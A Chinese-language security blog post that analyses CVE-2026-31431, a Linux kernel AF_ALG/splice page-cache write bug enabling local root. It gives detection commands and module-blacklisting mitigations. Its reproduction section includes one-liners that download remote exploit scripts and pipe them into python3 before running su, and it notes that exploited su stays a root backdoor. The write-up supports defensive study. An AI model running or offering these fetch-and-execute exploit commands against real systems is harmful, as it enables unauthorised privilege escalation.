AI揪出copyfail潜伏在Linux近九年的提权小偷!

admin 2026-05-03 04:57:10 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2026-31431是Linux内核algifaead组件中的身份验证临时写入漏洞,通过AFALG与splice()链式调用导致4字节页面缓存写入,允许非特权用户获取root权限。该漏洞影响2017年后所有主流Linux发行版,提供PoC利用脚本及检测命令,建议通过禁用algif_aead模块或升级内核进行缓解。 综合评分: 87 文章分类: 漏洞分析,Linux安全,提权技术,应急响应,安全运维


cover_image

AI 揪出 copyfail 潜伏在Linux近九年的提权小偷!

原创

爱捡垃圾的小男孩 爱捡垃圾的小男孩

一个不正经的黑客

2026年5月2日 18:19 广东

在小说阅读器读本章

去阅读

点击上方

蓝字

轻松关注~

漏洞简介

Xint Code 披露了 CVE-2026-31431,这是一个身份验证临时写入漏洞,利用 AF_ALG + splice() 函数链式调用,导致 4 字节的页面缓存写入。

一个 732 字节的 PoC 代码可以在 Ubuntu、Amazon Linux、RHEL 和 SUSE 系统上获取 root 权限。

Copy Fail 仅需要一个非特权本地用户帐户——无需网络访问权限、内核调试功能或预装原语。

内核加密 API ( AF_ALG) 在几乎所有主流发行版的默认配置中都已启用,因此 2017 年至今的所有补丁窗口都已开箱即用。

漏洞原理

该缺陷存在于 Linux 内核的 algif_aead 代码中,该代码用于 AF_ALG 加密套接字接口。2017 年,为了优化性能,内核将 AEAD 操作“原地”执行,方法是将源缓冲区和目标缓冲区设置为同一内存区域。

当一个可读文件被插入到 AF_ALG 套接字中时,内核传递的是指向该文件页面缓存的引用,而不是复制文件。

由于源缓冲区和目标缓冲区是共享的,这些通常只读的页面缓存变得可写。

身份验证算法(IPsec 用于扩展序列号)随后将目标缓冲区用作临时暂存空间,并在预期输出边界之外写入四个字节。

该写入操作直接进入拼接文件的页面缓存。

内核不会将该页面标记为脏页,因此磁盘上的文件未发生更改,文件完整性检查仍然通过。

最后,攻击者执行了一个内存内容已被修改的 setuid 二进制文件(例如,通过修改缓存的 /etc/passwd 或 /usr/bin/su 数据),从而获得 root shell 权限。

这个漏洞源于多年来几项看似合理的系统设计变更相互作用的结果,这些变更共同构成了一条强大的提权路径,而这条路径在近十年间一直未被察觉。

复现过程

1.确认系统版本: Ubuntu 24.04 LTS

2.创建低权限用户

3.最终,非常简单流畅地实现了提权目标

cat /etc/*release
uname -a

# 创建低权限用户
sudo adduser lowuser

curl https://copy.fail/exp | python3 && su

利用优化

https://copy.fail/exp 的exp兼容性不是特别好,下面这两种情况可能会失败

  1. 3.10 版本之前的操作系统不包含 splice() 函数。

  2. 不同系统su 默认路径不同

下面给出快速利用的解决脚本

curl https://raw.githubusercontent.com/slaptat/copyFail30/refs/heads/main/copyFail30.py | python3 && su

# 国内加速
curl https://img.rad0.indevs.in/https://github.com/slaptat/copyFail30/blob/main/copyFail30.py | python3 && su

注意事项

https://github.com/theori-io/copy-fail-CVE-2026-31431/issues 中有网友提到:

如果你先前已经运行过上述exploit脚本,那么su内存映像已遭到破坏,除非重启,要不然就相当留了一个提权后门程序。

su 正常执行的情况是提示输入密码的su 被exp破坏之后,因为二进制内存映像已经被替换为shellcode ,所以相当于su是一个ROOT后门了。不过经过测试,网友提供的办法可以在不重启情况下恢复su文件

python3 - <<'PY'
import&nbsp;os

paths = [
&nbsp; &nbsp;&nbsp;"/usr/bin/su",
&nbsp; &nbsp;&nbsp;"/bin/su",
]

page = os.sysconf("SC_PAGE_SIZE")

for&nbsp;path&nbsp;in&nbsp;paths:
&nbsp; &nbsp;&nbsp;ifnot&nbsp;os.path.exists(path):
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[-] not found:&nbsp;{path}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue

&nbsp; &nbsp;&nbsp;ifnot&nbsp;os.path.isfile(path):
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[-] not a file:&nbsp;{path}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue

&nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; fd = os.open(path, os.O_RDONLY | getattr(os,&nbsp;"O_CLOEXEC",&nbsp;0))
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; os.posix_fadvise(fd,&nbsp;0, page, os.POSIX_FADV_DONTNEED)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"[+] fadvise DONTNEED success:&nbsp;{path}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;finally:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; os.close(fd)
&nbsp; &nbsp;&nbsp;except&nbsp;PermissionError&nbsp;as&nbsp;e:
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[-] permission denied:&nbsp;{path}:&nbsp;{e}")
&nbsp; &nbsp;&nbsp;except&nbsp;AttributeError:
&nbsp; &nbsp; &nbsp; &nbsp; print("[-] os.posix_fadvise not supported on this Python/platform")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp;&nbsp;except&nbsp;OSError&nbsp;as&nbsp;e:
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[-] failed:&nbsp;{path}:&nbsp;{e}")
PY

漏洞披露

手工检测

通过如下命令快速判断当前机器是否受影响

uname -r

检查内核配置是否启用(推荐)

grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)

注意: 结果会出现以下三种情况:

CONFIG_CRYPTO_USER_API_AEAD=n    彻底关闭,不受影响,无需处理

CONFIG_CRYPTO_USER_API_AEAD=y    静态编译进内核,Ismod 查不到,但受影响,暂无缓解措施,只能升级内核(例如:RHEL/CentOS/Rocky Linux/AlmaLinux 8, 9, 10 三代产品)

CONFIG_CRYPTO_USER_API_AEAD=m   模块方式,Ismod 可查,加载就有风险,受影响,可通过缓解措施缓解

# 检查 AF_ALG AEAD 接口是否可加载:
modinfo algif_aead

进一步检查 AF_ALG socket 是否可创建

python3 -c&nbsp;"import socket; socket.socket(38,5,0); print('VULNERABLE')"

如果系统运行的是 Linux 内核 4.14 或更高版本,并且安装了 algif_aead 模块,则该系统可能存在安全漏洞。

缓解措施

1.禁用 algif_aead 模块(Linux):

将该模块列入黑名单,防止其在下次启动时加载,然后从正在运行的内核中卸载它:

echo&nbsp;"install algif_aead /bin/false"&nbsp;> /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null

确认该模块已不再加载

lsmod | grep algif_aead

如果结果为空,则表示该模块已卸载。 注意:如果任何正在运行的应用程序显式依赖于 AF_ALG AEAD 操作,则可能会导致故障。请先在非生产环境中进行测试。

漏洞总结

这个漏洞是人类顶尖安全研究员 x 人工智能(Xint Code)的产物。

当下,AI正在以学习、融合乃至超越人类顶尖安全研究员作为网络安全攻关的奋斗目标。

潘多拉魔盒已然开启,网络安全领域即将迎来 AI 引领群魔乱舞的全新时代!

我们这一代普通人正在做的、只能做的,都是在成为历史的见证者。

喜欢就关注哦

动动小手点个赞

点在看最好看


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:一个不正经的黑客 爱捡垃圾的小男孩 爱捡垃圾的小男孩《AI 揪出 copyfail 潜伏在Linux近九年的提权小偷!》

评论:0   参与:  0